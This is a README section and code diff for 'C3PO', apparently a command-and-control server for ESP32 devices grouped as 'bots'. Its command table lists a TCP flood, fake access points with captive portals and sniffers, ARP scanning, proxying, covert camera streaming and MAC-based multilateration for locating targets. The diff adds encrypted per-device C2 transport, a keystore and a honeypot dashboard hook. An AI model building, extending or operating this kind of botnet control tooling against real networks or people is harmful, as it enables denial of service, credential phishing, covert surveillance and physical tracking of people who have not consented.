||||||
|
---
|
||||||
|
|
||||||
|
## Launch
|
||||||
|
|
||||||
|
Classic CLI mode:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 c3po.py
|
||||||
|
```
|
||||||
|
|
||||||
|
TUI (Textual) mode:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 c3po.py --tui
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## C2 Commands (CLI/TUI)
|
||||||
|
|
||||||
|
Main commands:
|
||||||
|
|
||||||
|
| Command | Description |
|
||||||
|
| --- | --- |
|
||||||
|
| `help [command]` | General help or per-command help |
|
||||||
|
| `list` | List connected devices |
|
||||||
|
| `modules` | List ESP commands by module |
|
||||||
|
| `send <target> <cmd> [args...]` | Send a command |
|
||||||
|
| `group <action>` | Manage groups |
|
||||||
|
| `active_commands` | List running commands |
|
||||||
|
| `web start\|stop\|status` | Web dashboard |
|
||||||
|
| `camera start\|stop\|status` | Camera UDP receiver |
|
||||||
|
| `clear` | Clear screen |
|
||||||
|
| `exit` | Quit |
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
list
|
||||||
|
send ce4f626b system_reboot
|
||||||
|
send all fakeap_status
|
||||||
|
send group scanners mlat start AA:BB:CC:DD:EE:FF
|
||||||
|
web start
|
||||||
|
camera start
|
||||||
|
active_commands
|
||||||
|
```
|
||||||
|
|
||||||
|
### Groups
|
||||||
|
|
||||||
|
```bash
|
||||||
|
group add bots ce4f626b a91dd021
|
||||||
|
group list
|
||||||
|
group show bots
|
||||||
|
group remove bots ce4f626b
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ESP Commands (Modules)
|
||||||
|
|
||||||
|
ESP commands are organized by module (use `modules`). Summary:
|
||||||
|
|
||||||
|
| Module | Command | Description |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| system | `system_reboot` | Reboot ESP32 |
|
||||||
|
| system | `system_mem` | Memory info |
|
||||||
|
| system | `system_uptime` | Device uptime |
|
||||||
|
| system | `system_info` | Auto-query on connect |
|
||||||
|
| network | `ping <host>` | Ping |
|
||||||
|
| network | `arp_scan` | ARP scan |
|
||||||
|
| network | `proxy_start <ip> <port>` | TCP proxy |
|
||||||
|
| network | `proxy_stop` | Stop proxy |
|
||||||
|
| network | `dos_tcp <ip> <port> <count>` | TCP flood |
|
||||||
|
| fakeap | `fakeap_start <ssid> [open\|wpa2] [pass]` | Start Fake AP |
|
||||||
|
| fakeap | `fakeap_stop` | Stop Fake AP |
|
||||||
|
| fakeap | `fakeap_status` | Fake AP status |
|
||||||
|
| fakeap | `fakeap_clients` | List clients |
|
||||||
|
| fakeap | `fakeap_portal_start` | Captive portal |
|
||||||
|
| fakeap | `fakeap_portal_stop` | Stop portal |
|
||||||
|
| fakeap | `fakeap_sniffer_on` | Sniffer on |
|
||||||
|
| fakeap | `fakeap_sniffer_off` | Sniffer off |
|
||||||
|
| recon | `cam_start <ip> <port>` | Start camera stream |
|
||||||
|
| recon | `cam_stop` | Stop camera stream |
|
||||||
|
| recon | `mlat config [gps\|local] <c1> <c2>` | Set scanner position |
|
||||||
|
| recon | `mlat mode <ble\|wifi>` | Scan mode |
|
||||||
|
| recon | `mlat start <mac>` | Start MLAT |
|
||||||
|
| recon | `mlat stop` | Stop MLAT |
|
||||||
|
| recon | `mlat status` | MLAT status |
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
- `DEV_MODE = True` in `tools/c2/cli/cli.py` allows raw text: `send <target> <any text>`
|
||||||
|
- `system_info` is automatically sent on new connections.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## TUI (Textual)
|
||||||
|
|
||||||
|
The TUI shows:
|
||||||
|
- Left panel: all connected devices
|
||||||
|
- Right panel: global logs
|
||||||
|
- Bottom input bar with autocomplete
|
||||||
|
|
||||||
|
Key bindings:
|
||||||
|
- `Alt+G`: toggle global logs
|
||||||
|
- `Ctrl+L`: clear global logs
|
||||||
|
- `Ctrl+Q`: quit
|
||||||
|
- `Esc`: focus input
|
||||||
|
- `Tab`: completion
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Screenshots
|
||||||
|
|
||||||
|
Replace the placeholders below with your own captures:
|
||||||
|
|
||||||
|

|
||||||
|

|
||||||
|

|
||||||
|

|
||||||
|

|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Web Dashboard
|
||||||
|
|
||||||
|
Start from the CLI:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
web start
|
||||||
|
```
|
||||||
|
|
||||||
|
Default local URL:
|
||||||
|
|
||||||
|
```text
|
||||||
|
http://127.0.0.1:8000
|
||||||
|
```
|
||||||
|
|
||||||
|
Default credentials: `admin` / `admin` (defined in `.env`).
|
||||||
|
|
||||||
|
Pages:
|
||||||
|
- `/dashboard` (devices)
|
||||||
|
- `/cameras` (streams)
|
||||||
|
- `/mlat` (MLAT view)
|
||||||
|
|
||||||
|
### API (Bearer token)
|
||||||
|
|
||||||
|
Authenticate with:
|
||||||
|
|
||||||
|
```text
|
||||||
|
Authorization: Bearer <MULTILAT_AUTH_TOKEN>
|
||||||
|
```
|
||||||
|
|
||||||
|
Endpoints:
|
||||||
|
- `GET /api/devices`
|
||||||
|
- `GET /api/cameras`
|
||||||
|
- `POST /api/recording/start/<camera_id>`
|
||||||
|
- `POST /api/recording/stop/<camera_id>`
|
||||||
|
- `GET /api/recording/status?camera_id=<id>`
|
||||||
|
- `GET /api/recordings`
|
||||||
|
- `POST /api/mlat/collect`
|
||||||
|
- `GET /api/mlat/state`
|
||||||
|
- `GET|POST /api/mlat/config`
|
||||||
|
- `POST /api/mlat/clear`
|
||||||
|
- `GET /api/stats`
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -H "Authorization: Bearer multilat_secret_token" http://127.0.0.1:8000/api/devices
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Camera UDP
|
||||||
|
|
||||||
|
The UDP receiver assembles JPEG frames and stores them in `IMAGE_DIR`. Expected protocol:
|
||||||
|
- Each packet starts with `CAMERA_SECRET_TOKEN`
|
||||||
|
- `START`: begin frame
|
||||||
|
- `END`: end frame
|
||||||
|
- Other packets are JPEG chunks
|
||||||
|
|
||||||
|
C2 commands:
|
||||||
|
- `camera start`
|
||||||
|
- `camera stop`
|
||||||
|
- `camera status`
|
||||||
|
|
||||||
|
Quick test:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 test_udp.py 5000
|
||||||
|
```
|
||||||
|
|
||||||
|
Recording:
|
||||||
|
- Triggered via Web API (recording endpoints)
|
||||||
|
- Files stored in `static/recordings`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## MLAT (Multilateration)
|
||||||
|
|
||||||
|
Supported formats (from ESP):
|
||||||
|
- `MLAT:G;<lat>;<lon>;<rssi>`
|
||||||
|
- `MLAT:L;<x>;<y>;<rssi>`
|
||||||
|
- Legacy: `MLAT:<lat>;<lon>;<rssi>`
|
||||||
|
|
||||||
|
Requirements:
|
||||||
|
- At least 3 active scanners
|
||||||
|
- Calibration via `rssi_at_1m` and `path_loss_n` (`/api/mlat/config`)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Architecture (Summary)
|
||||||
|
|
||||||
|
```
|
||||||
|
tools/C3PO/
|
||||||
|
├── c3po.py # C2 entrypoint (CLI / TUI)
|
||||||
|
├── cli/ # CLI + help
|
||||||
|
├── commands/ # Registry + internal commands
|
||||||
|
├── core/ # Registry, transport, crypto, keystore
|
||||||
|
│ ├── crypto.py # ChaCha20-Poly1305 AEAD + HKDF
|
||||||
|
│ ├── keystore.py # Per-device master key management (keys.json)
|
||||||
|
│ ├── transport.py # TCP transport with per-device crypto
|
||||||
|
│ └── registry.py # Device registry
|
||||||
|
├── log/ # Log manager
|
||||||
|
├── streams/ # Camera UDP + config
|
||||||
|
├── tui/ # Textual UI
|
||||||
|
├── web/ # Flask server + MLAT
|
||||||
|
├── templates/ # HTML
|
||||||
|
├── static/ # CSS/JS/streams/recordings
|
||||||
|
├── utils/ # Display, constants
|
||||||
|
├── keys.json # Per-device master key store
|
||||||
|
└── requirements.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Troubleshooting
|
||||||
|
|
||||||
|
- `Base64 decode failed` or `Decrypt failed`: verify the device was provisioned with `tools/provisioning/provision.py` and that `keys.json` contains the correct master key for the device ID
|
||||||
|
- `TUI not available`: install `textual`
|
||||||
|
- No camera frames: check `CAMERA_SECRET_TOKEN` and `UDP_PORT`
|
||||||
|
- Web not reachable: check `WEB_HOST`, `WEB_PORT`, firewall
|
||||||
|
- MLAT not resolving: needs at least 3 scanners
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Security Notes
|
||||||
|
|
||||||
|
- Each device must be provisioned with a unique master key via `tools/provisioning/provision.py`
|
||||||
|
- Master keys are stored in `keys.json` — keep this file secure and never commit it to version control
|
||||||
|
- The C2 derives per-device encryption keys using HKDF-SHA256 (master_key + device_id salt)
|
||||||
|
- All C2 communications use ChaCha20-Poly1305 AEAD with random 12-byte nonces
|
||||||
|
- Change `WEB_USERNAME` / `WEB_PASSWORD` and `FLASK_SECRET_KEY`
|
||||||
|
- Change `MULTILAT_AUTH_TOKEN` for the API
|
||||||
@ -7,6 +7,7 @@ import time
|
|||||||
import argparse
|
import argparse
|
||||||
|
|
||||||
from core.registry import DeviceRegistry
|
from core.registry import DeviceRegistry
|
||||||
|
from core.keystore import KeyStore
|
||||||
from core.transport import Transport
|
from core.transport import Transport
|
||||||
from log.manager import LogManager
|
from log.manager import LogManager
|
||||||
from cli.cli import CLI
|
from cli.cli import CLI
|
||||||
@ -16,10 +17,11 @@ from core.groups import GroupRegistry
|
|||||||
from utils.constant import HOST, PORT
|
from utils.constant import HOST, PORT
|
||||||
from utils.display import Display
|
from utils.display import Display
|
||||||
|
|
||||||
# Strict base64 validation (ESP sends BASE64 + '\n')
|
# New wire format: device_id:BASE64 + '\n'
|
||||||
BASE64_RE = re.compile(br'^[A-Za-z0-9+/=]+$')
|
FRAME_RE = re.compile(br'^[A-Za-z0-9_-]+:[A-Za-z0-9+/=]+$')
|
||||||
|
|
||||||
RX_BUF_SIZE = 4096
|
RX_BUF_SIZE = 4096
|
||||||
|
MAX_BUFFER_SIZE = 1024 * 1024 # 1MB max buffer to prevent memory exhaustion
|
||||||
DEVICE_TIMEOUT_SECONDS = 300 # Devices are considered inactive after 5 minutes without a heartbeat
|
DEVICE_TIMEOUT_SECONDS = 300 # Devices are considered inactive after 5 minutes without a heartbeat
|
||||||
HEARTBEAT_CHECK_INTERVAL = 10 # Check every 10 seconds
|
HEARTBEAT_CHECK_INTERVAL = 10 # Check every 10 seconds
|
||||||
|
|
||||||
@ -40,6 +42,11 @@ def client_thread(sock: socket.socket, addr, transport: Transport, registry: Dev
|
|||||||
|
|
||||||
buffer += data
|
buffer += data
|
||||||
|
|
||||||
|
# Prevent memory exhaustion from malicious clients
|
||||||
|
if len(buffer) > MAX_BUFFER_SIZE:
|
||||||
|
Display.error(f"Buffer overflow from {addr}, dropping connection")
|
||||||
|
break
|
||||||
|
|
||||||
# Strict framing by '\n' (ESP behavior)
|
# Strict framing by '\n' (ESP behavior)
|
||||||
while b"\n" in buffer:
|
while b"\n" in buffer:
|
||||||
line, buffer = buffer.split(b"\n", 1)
|
line, buffer = buffer.split(b"\n", 1)
|
||||||
@ -48,9 +55,9 @@ def client_thread(sock: socket.socket, addr, transport: Transport, registry: Dev
|
|||||||
if not line:
|
if not line:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
# Ignore noise / invalid frames
|
# Validate frame format: device_id:base64
|
||||||
if not BASE64_RE.match(line):
|
if not FRAME_RE.match(line):
|
||||||
Display.system_message(f"Ignoring non-base64 data from {addr}")
|
Display.system_message(f"Ignoring invalid frame from {addr}")
|
||||||
continue
|
continue
|
||||||
|
|
||||||
try:
|
try:
|
||||||
@ -110,15 +117,19 @@ $$ | $$\\ $$\\ $$ |$$ | $$ | $$ |
|
|||||||
# ============================
|
# ============================
|
||||||
registry = DeviceRegistry()
|
registry = DeviceRegistry()
|
||||||
logger = LogManager()
|
logger = LogManager()
|
||||||
|
keystore = KeyStore("keys.json")
|
||||||
|
|
||||||
|
if not args.tui:
|
||||||
|
Display.system_message(f"Loaded {len(keystore)} device key(s) from {keystore.path}")
|
||||||
|
|
||||||
# Initialize CLI first, then pass it to Transport
|
# Initialize CLI first, then pass it to Transport
|
||||||
commands = CommandRegistry()
|
commands = CommandRegistry()
|
||||||
commands.register(RebootCommand())
|
commands.register(RebootCommand())
|
||||||
groups = GroupRegistry()
|
groups = GroupRegistry()
|
||||||
|
|
||||||
# Placeholder for CLI, will be properly initialized after Transport
|
# Placeholder for CLI, will be properly initialized after Transport
|
||||||
cli_instance = None
|
cli_instance = None
|
||||||
transport = Transport(registry, logger, cli_instance) # Pass a placeholder for now
|
transport = Transport(registry, logger, keystore, cli_instance)
|
||||||
|
|
||||||
cli_instance = CLI(registry, commands, groups, transport)
|
cli_instance = CLI(registry, commands, groups, transport)
|
||||||
transport.set_cli(cli_instance) # Set the actual CLI instance in transport
|
transport.set_cli(cli_instance) # Set the actual CLI instance in transport
|
||||||
@ -8,7 +8,10 @@ from cli.help import HelpManager
|
|||||||
from core.transport import Transport
|
from core.transport import Transport
|
||||||
from proto.c2_pb2 import Command
|
from proto.c2_pb2 import Command
|
||||||
from streams.udp_receiver import UDPReceiver
|
from streams.udp_receiver import UDPReceiver
|
||||||
from streams.config import UDP_HOST, UDP_PORT, IMAGE_DIR, MULTILAT_AUTH_TOKEN
|
from streams.config import (
|
||||||
|
UDP_HOST, UDP_PORT, IMAGE_DIR, MULTILAT_AUTH_TOKEN,
|
||||||
|
WEB_HOST, WEB_PORT, DEFAULT_USERNAME, DEFAULT_PASSWORD, FLASK_SECRET_KEY
|
||||||
|
)
|
||||||
from web.server import UnifiedWebServer
|
from web.server import UnifiedWebServer
|
||||||
from web.mlat import MlatEngine
|
from web.mlat import MlatEngine
|
||||||
|
|
||||||
@ -29,6 +32,12 @@ class CLI:
|
|||||||
self.udp_receiver: Optional[UDPReceiver] = None
|
self.udp_receiver: Optional[UDPReceiver] = None
|
||||||
self.mlat_engine = MlatEngine()
|
self.mlat_engine = MlatEngine()
|
||||||
|
|
||||||
|
# Honeypot dashboard components (created on web start)
|
||||||
|
self.hp_store = None
|
||||||
|
self.hp_commander = None
|
||||||
|
self.hp_alerts = None
|
||||||
|
self.hp_geo = None
|
||||||
|
|
||||||
readline.parse_and_bind("tab: complete")
|
readline.parse_and_bind("tab: complete")
|
||||||
readline.set_completer(self._complete)
|
readline.set_completer(self._complete)
|
||||||
|
|
||||||
@ -227,7 +236,7 @@ class CLI:
|
|||||||
cmd.request_id = request_id
|
cmd.request_id = request_id
|
||||||
|
|
||||||
Display.command_sent(d.id, cmd_name, request_id)
|
Display.command_sent(d.id, cmd_name, request_id)
|
||||||
self.transport.send_command(d.sock, cmd)
|
self.transport.send_command(d.sock, cmd, d.id)
|
||||||
self.active_commands[request_id] = {
|
self.active_commands[request_id] = {
|
||||||
"device_id": d.id,
|
"device_id": d.id,
|
||||||
"command_name": cmd_name,
|
"command_name": cmd_name,
|
||||||
@ -340,11 +349,42 @@ class CLI:
|
|||||||
Display.system_message("Web server is already running.")
|
Display.system_message("Web server is already running.")
|
||||||
return
|
return
|
||||||
|
|
||||||
|
# Initialize honeypot dashboard components
|
||||||
|
try:
|
||||||
|
from hp_dashboard import HpStore, HpCommander, HpAlertEngine, HpGeoLookup
|
||||||
|
if not self.hp_store:
|
||||||
|
self.hp_geo = HpGeoLookup()
|
||||||
|
self.hp_store = HpStore(geo_lookup=self.hp_geo)
|
||||||
|
if not self.hp_alerts:
|
||||||
|
self.hp_alerts = HpAlertEngine()
|
||||||
|
self.hp_alerts.set_store(self.hp_store)
|
||||||
|
if not self.hp_commander:
|
||||||
|
self.hp_commander = HpCommander(
|
||||||
|
get_transport=lambda: self.transport,
|
||||||
|
get_registry=lambda: self.registry,
|
||||||
|
)
|
||||||
|
# Wire into transport for event/response routing
|
||||||
|
self.transport.hp_store = self.hp_store
|
||||||
|
self.transport.hp_commander = self.hp_commander
|
||||||
|
Display.system_message("Honeypot dashboard enabled (alerts + geo active)")
|
||||||
|
except ImportError:
|
||||||
|
Display.system_message("Honeypot dashboard not available (hp_dashboard not found)")
|
||||||
|
|
||||||
self.web_server = UnifiedWebServer(
|
self.web_server = UnifiedWebServer(
|
||||||
|
host=WEB_HOST,
|
||||||
|
port=WEB_PORT,
|
||||||
|
image_dir=IMAGE_DIR,
|
||||||
|
username=DEFAULT_USERNAME,
|
||||||
|
password=DEFAULT_PASSWORD,
|
||||||
|
secret_key=FLASK_SECRET_KEY,
|
||||||
device_registry=self.registry,
|
device_registry=self.registry,
|
||||||
mlat_engine=self.mlat_engine,
|
mlat_engine=self.mlat_engine,
|
||||||
multilat_token=MULTILAT_AUTH_TOKEN,
|
multilat_token=MULTILAT_AUTH_TOKEN,
|
||||||
camera_receiver=self.udp_receiver
|
camera_receiver=self.udp_receiver,
|
||||||
|
hp_store=self.hp_store,
|
||||||
|
hp_commander=self.hp_commander,
|
||||||
|
hp_alerts=self.hp_alerts,
|
||||||
|
hp_geo=self.hp_geo,
|
||||||
)
|
)
|
||||||
|
|
||||||
if self.web_server.start():
|
if self.web_server.start():
|
||||||
@ -143,7 +143,7 @@ class HelpManager:
|
|||||||
self._out(" start Start the web server (dashboard, cameras, MLAT)")
|
self._out(" start Start the web server (dashboard, cameras, MLAT)")
|
||||||
self._out(" stop Stop the web server")
|
self._out(" stop Stop the web server")
|
||||||
self._out(" status Show server status and MLAT engine info")
|
self._out(" status Show server status and MLAT engine info")
|
||||||
self._out(" Default URL: http://127.0.0.1:5000")
|
self._out(" Default URL: http://127.0.0.1:8000 (configurable via .env)")
|
||||||
|
|
||||||
elif command_name == "camera":
|
elif command_name == "camera":
|
||||||
self._out("Help for 'camera' command:")
|
self._out("Help for 'camera' command:")
|
||||||
@ -153,7 +153,7 @@ class HelpManager:
|
|||||||
self._out(" start Start UDP receiver for camera frames")
|
self._out(" start Start UDP receiver for camera frames")
|
||||||
self._out(" stop Stop UDP receiver")
|
self._out(" stop Stop UDP receiver")
|
||||||
self._out(" status Show receiver stats (packets, frames, errors)")
|
self._out(" status Show receiver stats (packets, frames, errors)")
|
||||||
self._out(" Default port: 12345")
|
self._out(" Default port: 5000 (configurable via .env)")
|
||||||
|
|
||||||
elif command_name == "modules":
|
elif command_name == "modules":
|
||||||
self._out("Help for 'modules' command:")
|
self._out("Help for 'modules' command:")
|
||||||
58
tools/C3PO/core/crypto.py
Normal file
58
tools/C3PO/core/crypto.py
Normal file
@ -0,0 +1,58 @@
|
|||||||
|
import base64
|
||||||
|
|
||||||
|
from Crypto.Cipher import ChaCha20_Poly1305
|
||||||
|
from Crypto.Protocol.KDF import HKDF
|
||||||
|
from Crypto.Hash import SHA256
|
||||||
|
|
||||||
|
HKDF_INFO = b"espilon-c2-v1"
|
||||||
|
|
||||||
|
|
||||||
|
class CryptoContext:
|
||||||
|
"""Per-device AEAD crypto context.
|
||||||
|
|
||||||
|
Derives a 32-byte encryption key from the device's master key
|
||||||
|
using HKDF-SHA256 with device_id as salt.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, master_key: bytes, device_id: str):
|
||||||
|
if len(master_key) != 32:
|
||||||
|
raise ValueError(f"master_key must be 32 bytes, got {len(master_key)}")
|
||||||
|
self.derived_key = HKDF(
|
||||||
|
master=master_key,
|
||||||
|
key_len=32,
|
||||||
|
salt=device_id.encode(),
|
||||||
|
hashmod=SHA256,
|
||||||
|
context=HKDF_INFO,
|
||||||
|
)
|
||||||
|
|
||||||
|
# =========================
|
||||||
|
# ChaCha20-Poly1305 AEAD
|
||||||
|
# =========================
|
||||||
|
def encrypt(self, data: bytes) -> bytes:
|
||||||
|
"""Encrypt and authenticate. Returns nonce[12] || ciphertext || tag[16]."""
|
||||||
|
cipher = ChaCha20_Poly1305.new(key=self.derived_key)
|
||||||
|
ct, tag = cipher.encrypt_and_digest(data)
|
||||||
|
return cipher.nonce + ct + tag
|
||||||
|
|
||||||
|
def decrypt(self, data: bytes) -> bytes:
|
||||||
|
"""Decrypt and verify. Input: nonce[12] || ciphertext || tag[16].
|
||||||
|
Raises ValueError on authentication failure.
|
||||||
|
"""
|
||||||
|
if len(data) < 28:
|
||||||
|
raise ValueError(f"Encrypted payload too short ({len(data)} bytes)")
|
||||||
|
nonce = data[:12]
|
||||||
|
tag = data[-16:]
|
||||||
|
ct = data[12:-16]
|
||||||
|
cipher = ChaCha20_Poly1305.new(key=self.derived_key, nonce=nonce)
|
||||||
|
return cipher.decrypt_and_verify(ct, tag)
|
||||||
|
|
||||||
|
# =========================
|
||||||
|
# Base64
|
||||||
|
# =========================
|
||||||
|
@staticmethod
|
||||||
|
def b64_encode(data: bytes) -> bytes:
|
||||||
|
return base64.b64encode(data)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def b64_decode(data: bytes) -> bytes:
|
||||||
|
return base64.b64decode(data)
|
||||||
82
tools/C3PO/core/keystore.py
Normal file
82
tools/C3PO/core/keystore.py
Normal file
@ -0,0 +1,82 @@
|
|||||||
|
import json
|
||||||
|
import os
|
||||||
|
import threading
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
|
||||||
|
class KeyStore:
|
||||||
|
"""Thread-safe per-device master key storage backed by a JSON file.
|
||||||
|
|
||||||
|
File format (keys.json):
|
||||||
|
{
|
||||||
|
"device_id_1": "hex_encoded_32_byte_master_key",
|
||||||
|
"device_id_2": "hex_encoded_32_byte_master_key",
|
||||||
|
...
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, path: str = "keys.json"):
|
||||||
|
self.path = os.path.abspath(path)
|
||||||
|
self._keys: dict[str, bytes] = {}
|
||||||
|
self._lock = threading.Lock()
|
||||||
|
self.load()
|
||||||
|
|
||||||
|
def load(self) -> None:
|
||||||
|
"""Load keys from JSON file. Creates empty file if not found."""
|
||||||
|
if not os.path.exists(self.path):
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
with open(self.path, "r") as f:
|
||||||
|
data = json.load(f)
|
||||||
|
with self._lock:
|
||||||
|
self._keys = {
|
||||||
|
did: bytes.fromhex(hex_key)
|
||||||
|
for did, hex_key in data.items()
|
||||||
|
}
|
||||||
|
except (json.JSONDecodeError, ValueError) as e:
|
||||||
|
print(f"[KeyStore] Warning: failed to load {self.path}: {e}")
|
||||||
|
|
||||||
|
def save(self) -> None:
|
||||||
|
"""Persist keys to JSON file."""
|
||||||
|
with self._lock:
|
||||||
|
data = {
|
||||||
|
did: key.hex()
|
||||||
|
for did, key in self._keys.items()
|
||||||
|
}
|
||||||
|
with open(self.path, "w") as f:
|
||||||
|
json.dump(data, f, indent=2)
|
||||||
|
|
||||||
|
def get(self, device_id: str) -> Optional[bytes]:
|
||||||
|
"""Return 32-byte master key for a device, or None if unknown."""
|
||||||
|
with self._lock:
|
||||||
|
return self._keys.get(device_id)
|
||||||
|
|
||||||
|
def add(self, device_id: str, master_key: bytes) -> None:
|
||||||
|
"""Register a device's master key and persist."""
|
||||||
|
if len(master_key) != 32:
|
||||||
|
raise ValueError(f"master_key must be 32 bytes, got {len(master_key)}")
|
||||||
|
with self._lock:
|
||||||
|
self._keys[device_id] = master_key
|
||||||
|
self.save()
|
||||||
|
|
||||||
|
def remove(self, device_id: str) -> bool:
|
||||||
|
"""Remove a device's key. Returns True if it existed."""
|
||||||
|
with self._lock:
|
||||||
|
if device_id in self._keys:
|
||||||
|
del self._keys[device_id]
|
||||||
|
self.save()
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
def list_devices(self) -> list[str]:
|
||||||
|
"""Return list of known device IDs."""
|
||||||
|
with self._lock:
|
||||||
|
return list(self._keys.keys())
|
||||||
|
|
||||||
|
def __len__(self) -> int:
|
||||||
|
with self._lock:
|
||||||
|
return len(self._keys)
|
||||||
|
|
||||||
|
def __contains__(self, device_id: str) -> bool:
|
||||||
|
with self._lock:
|
||||||
|
return device_id in self._keys
|
||||||
@ -1,5 +1,6 @@
|
|||||||
from core.crypto import CryptoContext
|
from core.crypto import CryptoContext
|
||||||
from core.device import Device
|
from core.device import Device
|
||||||
|
from core.keystore import KeyStore
|
||||||
from core.registry import DeviceRegistry
|
from core.registry import DeviceRegistry
|
||||||
from log.manager import LogManager
|
from log.manager import LogManager
|
||||||
from utils.display import Display
|
from utils.display import Display
|
||||||
@ -13,49 +14,84 @@ if TYPE_CHECKING:
|
|||||||
|
|
||||||
|
|
||||||
class Transport:
|
class Transport:
|
||||||
def __init__(self, registry: DeviceRegistry, logger: LogManager, cli_instance: 'CLI' = None):
|
def __init__(self, registry: DeviceRegistry, logger: LogManager,
|
||||||
self.crypto = CryptoContext()
|
keystore: KeyStore, cli_instance: 'CLI' = None):
|
||||||
self.registry = registry
|
self.registry = registry
|
||||||
self.logger = logger
|
self.logger = logger
|
||||||
self.cli = cli_instance # CLI instance for callback
|
self.keystore = keystore
|
||||||
self.command_responses = {} # To track command responses
|
self.cli = cli_instance
|
||||||
|
self.command_responses = {}
|
||||||
|
self.hp_store = None
|
||||||
|
self.hp_commander = None
|
||||||
|
|
||||||
|
# Cache of CryptoContext per device_id (HKDF derivation is expensive)
|
||||||
|
self._crypto_cache: dict[str, CryptoContext] = {}
|
||||||
|
|
||||||
def set_cli(self, cli_instance: 'CLI'):
|
def set_cli(self, cli_instance: 'CLI'):
|
||||||
self.cli = cli_instance
|
self.cli = cli_instance
|
||||||
|
|
||||||
|
def _get_crypto(self, device_id: str) -> CryptoContext | None:
|
||||||
|
"""Get or create a CryptoContext for the given device."""
|
||||||
|
if device_id in self._crypto_cache:
|
||||||
|
return self._crypto_cache[device_id]
|
||||||
|
|
||||||
|
master_key = self.keystore.get(device_id)
|
||||||
|
if master_key is None:
|
||||||
|
return None
|
||||||
|
|
||||||
|
ctx = CryptoContext(master_key, device_id)
|
||||||
|
self._crypto_cache[device_id] = ctx
|
||||||
|
return ctx
|
||||||
|
|
||||||
# ==================================================
|
# ==================================================
|
||||||
# RX (ESP → C2)
|
# RX (ESP → C2)
|
||||||
# ==================================================
|
# ==================================================
|
||||||
def handle_incoming(self, sock, addr, raw_data: bytes):
|
def handle_incoming(self, sock, addr, raw_data: bytes):
|
||||||
"""
|
"""
|
||||||
raw_data = BASE64( ChaCha20( Protobuf AgentMessage ) )
|
raw_data = device_id:BASE64( nonce[12] || ChaCha20-Poly1305( Protobuf ) || tag[16] )
|
||||||
"""
|
"""
|
||||||
# Removed verbose transport debug prints
|
# 1) Parse device_id prefix
|
||||||
|
raw_str = raw_data
|
||||||
# 1) base64 decode
|
if b":" not in raw_str:
|
||||||
try:
|
Display.error(f"No device_id prefix in message from {addr}")
|
||||||
cipher = self.crypto.b64_decode(raw_data)
|
|
||||||
except Exception as e:
|
|
||||||
Display.error(f"Base64 decode failed from {addr}: {e}")
|
|
||||||
return
|
return
|
||||||
|
|
||||||
# 2) chacha decrypt
|
device_id_bytes, b64_payload = raw_str.split(b":", 1)
|
||||||
try:
|
device_id = device_id_bytes.decode(errors="ignore").strip()
|
||||||
protobuf_bytes = self.crypto.decrypt(cipher)
|
|
||||||
except Exception as e:
|
if not device_id:
|
||||||
Display.error(f"Decrypt failed from {addr}: {e}")
|
Display.error(f"Empty device_id from {addr}")
|
||||||
return
|
return
|
||||||
|
|
||||||
# 3) protobuf decode → AgentMessage
|
# 2) Lookup crypto key for this device
|
||||||
|
crypto = self._get_crypto(device_id)
|
||||||
|
if crypto is None:
|
||||||
|
Display.error(f"Unknown device '{device_id}' from {addr} – no key in keystore")
|
||||||
|
return
|
||||||
|
|
||||||
|
# 3) Base64 decode
|
||||||
|
try:
|
||||||
|
encrypted = crypto.b64_decode(b64_payload)
|
||||||
|
except Exception as e:
|
||||||
|
Display.error(f"Base64 decode failed from {device_id}@{addr}: {e}")
|
||||||
|
return
|
||||||
|
|
||||||
|
# 4) Decrypt + verify (AEAD)
|
||||||
|
try:
|
||||||
|
protobuf_bytes = crypto.decrypt(encrypted)
|
||||||
|
except Exception as e:
|
||||||
|
Display.error(f"Decrypt/auth failed from {device_id}@{addr}: {e}")
|
||||||
|
return
|
||||||
|
|
||||||
|
# 5) Protobuf decode → AgentMessage
|
||||||
try:
|
try:
|
||||||
msg = AgentMessage.FromString(protobuf_bytes)
|
msg = AgentMessage.FromString(protobuf_bytes)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
Display.error(f"Protobuf decode failed from {addr}: {e}")
|
Display.error(f"Protobuf decode failed from {device_id}@{addr}: {e}")
|
||||||
return
|
return
|
||||||
|
|
||||||
if not msg.device_id:
|
if not msg.device_id:
|
||||||
Display.error("AgentMessage received without device_id")
|
msg.device_id = device_id
|
||||||
return
|
|
||||||
|
|
||||||
self._dispatch(sock, addr, msg)
|
self._dispatch(sock, addr, msg)
|
||||||
|
|
||||||
@ -100,7 +136,7 @@ class Transport:
|
|||||||
cmd.device_id = device.id
|
cmd.device_id = device.id
|
||||||
cmd.command_name = "system_info"
|
cmd.command_name = "system_info"
|
||||||
cmd.request_id = f"auto-sysinfo-{device.id}"
|
cmd.request_id = f"auto-sysinfo-{device.id}"
|
||||||
self.send_command(device.sock, cmd)
|
self.send_command(device.sock, cmd, device.id)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
